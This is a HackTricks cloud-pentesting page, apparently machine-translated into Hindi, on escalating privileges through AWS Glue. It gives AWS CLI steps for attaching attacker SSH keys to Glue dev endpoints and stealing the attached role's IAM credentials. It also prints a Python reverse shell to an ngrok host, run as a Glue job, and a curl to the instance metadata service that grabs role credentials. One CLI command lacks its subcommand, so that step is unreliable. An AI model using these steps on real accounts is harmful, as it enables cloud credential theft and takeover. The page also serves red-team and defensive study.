AWS - Glue Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

उन उपयोगकर्ताओं के पास ये अनुमतियाँ हो सकती हैं जो नए AWS Glue डेवलपमेंट एंडपॉइंट सेट अप कर सकते हैं, **इस एंडपॉइंट को एक मौजूदा सेवा भूमिका जो Glue द्वारा अस्सुम की जा सकती है, के साथ विशेष अनुमतियों के साथ निर्धारित कर सकते हैं।

सेटअप के बाद, हमलावर एंडपॉइंट के इंस्टेंस में SSH कर सकता है, और निर्धारित भूमिका के IAM क्रेडेंशियल्स चुरा सकता है:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

गुप्तता के उद्देश्य से, सुझाव दिया जाता है कि Glue वर्चुअल मशीन के अंदर से IAM क्रेडेंशियल का उपयोग किया जाए।

संभावित प्रभाव: निर्दिष्ट Glue सेवा भूमिका को उन्नत करना।

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

इस अनुमति वाले उपयोगकर्ता एक मौजूदा Glue विकास अंत-बिंदु की SSH कुंजी को संशोधित कर सकते हैं, इसके लिए SSH पहुंच को सक्षम करते हैं। यह हमलावर को अंत-बिंदु के संलग्न भूमिका की विशेषताओं के साथ कमांडों को निष्पादित करने की अनुमति देता है:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

संभावित प्रभाव: ग्लू सेवा भूमिका तक प्राइवेसेक करें।

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

iam:PassRole के साथ उपयोगकर्ता या तो glue:CreateJob या glue:UpdateJob, और या तो glue:StartJobRun या glue:CreateTrigger के साथ संयुक्त रूप से, AWS Glue जॉब बना सकते या अपडेट कर सकते हैं, किसी भी Glue सेवा खाते को संलग्न करके और जॉब का क्रियान्वयन प्रारंभ कर सकते हैं। जॉब की क्षमताएँ विविध Python कोड चलाने को शामिल हैं, जिसे एक रिवर्स शैल एस्टाब्लिश करने के लिए उत्पादित किया जा सकता है। इस रिवर्स शैल का उपयोग फिर ग्लू जॉब से जुड़े भूमिका के IAM क्रेडेंशियल को बाहरी करने के लिए किया जा सकता है, जो उस भूमिका की अनुमतियों पर आधारित अनधिकृत पहुंच या क्रियाएँ करने की संभावना ले जाता है:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

संभावित प्रभाव: निर्दिष्ट गोंद सेवा भूमिका को उन्नत करना।

glue:UpdateJob

केवल अपडेट अनुमति के साथ एक हमलावर ने पहले से संलग्न भूमिका के IAM क्रेडेंशियल्स को चुरा सकता है।

संभावित प्रभाव: संलग्न गोंद सेवा भूमिका को उन्नत करना।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated